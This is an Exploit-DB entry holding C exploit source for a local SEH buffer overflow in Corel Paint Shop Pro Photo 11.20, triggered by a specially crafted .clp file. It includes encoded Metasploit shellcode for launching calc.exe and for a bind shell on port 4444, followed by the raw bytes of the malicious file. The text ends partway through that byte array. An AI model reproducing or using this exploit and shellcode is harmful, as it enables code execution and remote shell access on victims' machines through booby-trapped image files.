Exploit-DB #3779
Description: Corel Paint Shop Pro Photo 11.20 - '.clp' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-04-23
Author: Marsu

Exploit:
/*****************************************************************************
*                                                                            *
*  Corel Paint Shop Pro Photo v11.20 Unspecified .CLP File Buffer Overflow   *
*                                                                            *
*                                                                            *
* By opening a specially crafted file, SEH can be overwritten which makes    *
* code execution possible.                                                   *
*                                                                            *
* This sploit runs calc.exe or binds to port 4444.                           *
* Tested against Win XP SP2 FR.                                              *
* Have Fun!                                                                  *
*                                                                            *
* Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>                 *
*****************************************************************************/

#include "stdio.h"
#include "stdlib.h"

/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26"
"\x45\x32\xe3\x83\xeb\xfc\xe2\xf4\xda\xad\x76\xe3\x26\x45\xb9\xa6"
"\x1a\xce\x4e\xe6\x5e\x44\xdd\x68\x69\x5d\xb9\xbc\x06\x44\xd9\xaa"
"\xad\x71\xb9\xe2\xc8\x74\xf2\x7a\x8a\xc1\xf2\x97\x21\x84\xf8\xee"
"\x27\x87\xd9\x17\x1d\x11\x16\xe7\x53\xa0\xb9\xbc\x02\x44\xd9\x85"
"\xad\x49\x79\x68\x79\x59\x33\x08\xad\x59\xb9\xe2\xcd\xcc\x6e\xc7"
"\x22\x86\x03\x23\x42\xce\x72\xd3\xa3\x85\x4a\xef\xad\x05\x3e\x68"
"\x56\x59\x9f\x68\x4e\x4d\xd9\xea\xad\xc5\x82\xe3\x26\x45\xb9\x8b"
"\x1a\x1a\x03\x15\x46\x13\xbb\x1b\xa5\x85\x49\xb3\x4e\x3b\xea\x01"
"\x55\x2d\xaa\x1d\xac\x4b\x65\x1c\xc1\x26\x53\x8f\x45\x6b\x57\x9b"
"\x43\x45\x32\xe3";

/* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char BindShellcode[] =
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf7"
"\x82\xf8\x80\x83\xeb\xfc\xe2\xf4\x0b\xe8\x13\xcd\x1f\x7b\x07\x7f"
"\x08\xe2\x73\xec\xd3\xa6\x73\xc5\xcb\x09\x84\x85\x8f\x83\x17\x0b"
"\xb8\x9a\x73\xdf\xd7\x83\x13\xc9\x7c\xb6\x73\x81\x19\xb3\x38\x19"
"\x5b\x06\x38\xf4\xf0\x43\x32\x8d\xf6\x40\x13\x74\xcc\xd6\xdc\xa8"
"\x82\x67\x73\xdf\xd3\x83\x13\xe6\x7c\x8e\xb3\x0b\xa8\x9e\xf9\x6b"
"\xf4\xae\x73\x09\x9b\xa6\xe4\xe1\x34\xb3\x23\xe4\x7c\xc1\xc8\x0b"
"\xb7\x8e\x73\xf0\xeb\x2f\x73\xc0\xff\xdc\x90\x0e\xb9\x8c\x14\xd0"
"\x08\x54\x9e\xd3\x91\xea\xcb\xb2\x9f\xf5\x8b\xb2\xa8\xd6\x07\x50"
"\x9f\x49\x15\x7c\xcc\xd2\x07\x56\xa8\x0b\x1d\xe6\x76\x6f\xf0\x82"
"\xa2\xe8\xfa\x7f\x27\xea\x21\x89\x02\x2f\xaf\x7f\x21\xd1\xab\xd3"
"\xa4\xd1\xbb\xd3\xb4\xd1\x07\x50\x91\xea\xe9\xdc\x91\xd1\x71\x61"
"\x62\xea\x5c\x9a\x87\x45\xaf\x7f\x21\xe8\xe8\xd1\xa2\x7d\x28\xe8"
"\x53\x2f\xd6\x69\xa0\x7d\x2e\xd3\xa2\x7d\x28\xe8\x12\xcb\x7e\xc9"
"\xa0\x7d\x2e\xd0\xa3\xd6\xad\x7f\x27\x11\x90\x67\x8e\x44\x81\xd7"
"\x08\x54\xad\x7f\x27\xe4\x92\xe4\x91\xea\x9b\xed\x7e\x67\x92\xd0"
"\xae\xab\x34\x09\x10\xe8\xbc\x09\x15\xb3\x38\x73\x5d\x7c\xba\xad"
"\x09\xc0\xd4\x13\x7a\xf8\xc0\x2b\x5c\x29\x90\xf2\x09\x31\xee\x7f"
"\x82\xc6\x07\x56\xac\xd5\xaa\xd1\xa6\xd3\x92\x81\xa6\xd3\xad\xd1"
"\x08\x52\x90\x2d\x2e\x87\x36\xd3\x08\x54\x92\x7f\x08\xb5\x07\x50"
"\x7c\xd5\x04\x03\x33\xe6\x07\x56\xa5\x7d\x28\xe8\x07\x08\xfc\xdf"
"\xa4\x7d\x2e\x7f\x27\x82\xf8\x80";

char clp_file_part1[] = 
"\x50\xc3\x01\x00\x08\x00\x28\x70\x03\x00\x5d\x00\x00\x00\xf0\x5e"
"\x11\x00\x00\x00\x00\x00\x00\xd5\x00\x00\x3e\x00\x00\x00\x00\x00"
"\x00\x00\xf2\xdf\x71\x06\x02\x00\x00\x00\x25\x00\x00\x00\x10\x5a"
"\x11\x00\x10\x00\x00\x00\x00\x00\x00\x00\x10\xda\x52\x0b\x30\xf4"
"\x31\x01\x10\xda\x52\x0b\x84\x49\x89\x06\x00\x00\x00\x00\x00\x00"
"\x00\x00\x8e\xdf\x78\x06\x00\x00\x00\x00\x02\x00\x00\x28\x00\x00"
"\x00\xfd\x01\x00\x00\xb6\x8a\x00\x00\x01\x00\x08\x00\x00\x00\x00"
"\x00\x00\x6c\x03\x00\x9b\x1e\x00\xa6\x9b\x18\x00\x00\x00\x05\x00"
"\x00\x00\x00\x00\x00\x19\x1b\x1b\x00\xff\xff\xff\x00\x12\xd7\xbc"
"\x00\x2e\x64\xef\x00\x89\x29\x73\x00\xd9\xd9\xd9\x00\xb6\xf8\x13"
"\x00\xb4\x68\x00\x01\x70\x70\x70\x00\x62\x92\xf0\x00\xcc\xcc\xcc"
"\x00\xe6\xf2\xfa\x00\x99\x99\x99\x00\xc5\x94\x50\x00\xe6\xe9\xf1"
"\x00\x32\xad\xf7\x00\xb4\xb4\x4d\x00\x48\x18\x4d\x00\xb4\xc9\xf0"
"\x00\x38\x9e\xab\x00\xef\xe3\xe0\x00\xde\xe5\xec\x00\x98\xb4\xef"
"\x00\xbc\x4c\x7e\x00\x3a\x98\xe5\x00\x8c\x8c\x8c\x00\xd3\xe0\xef"
"\x00\x62\xc4\xa6\x00\x33\x33\x33\x00\xd5\xb6\x8c\x00\xdd\xd5\xc6"
"\x00\xf3\xf7\xfa\xaa\x02\x01\xfe\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe1\x00"
"\x00\x00\xf9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\xdc\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\xdc\x00\x90\x00\x00\x00\x00\x00\x00\xe1\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x09\x92\x00\x4e\x09\x92"
"\x00\x88\x23\x12\x98\x24\x00\x02\x00\x74\x21\x12\x00\x02\x00\x00"
"\x00\x90\x41\x92\x00\x00\x90\xfd\x00\x05\x10\x91\x00\x63\x20\x12"
"\x00\x00\x00\x00\x00\x40\x20\x12\x00\x18\xee\x91\x00\x70\x09\x92"
"\x00\xc0\xe4\x98\x00\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\xdf\x00"
"\x00\x2c\x24\x12\x00\x04\x24\x12\x00\xbf\xde\x49\x00\x4e\x09\x92"
"\x67\xd8\x23\x12\x00\x95\x00\x02\x00\xc4\x21\x12\x00\x02\x00\x00"
"\x00\x90\x41\x92\xba\x00\xec\xfd\x13\x05\x10\x91\x00\x6c\x20\x12"
"\x00\x00\x00\x00\x00\x3c\x21\x12\x00\x18\xee\x91\x00\x70\x09\x92"
"\x00\xc0\xe4\x98\x26\x6f\x3e\x92\x00\x62\x3e\x92\x00\x08\x02\x00"
"\x00\x7c\x24\x12\x00\x54\x24\x8f\x00\xe8\x20\x12\x00\x00\x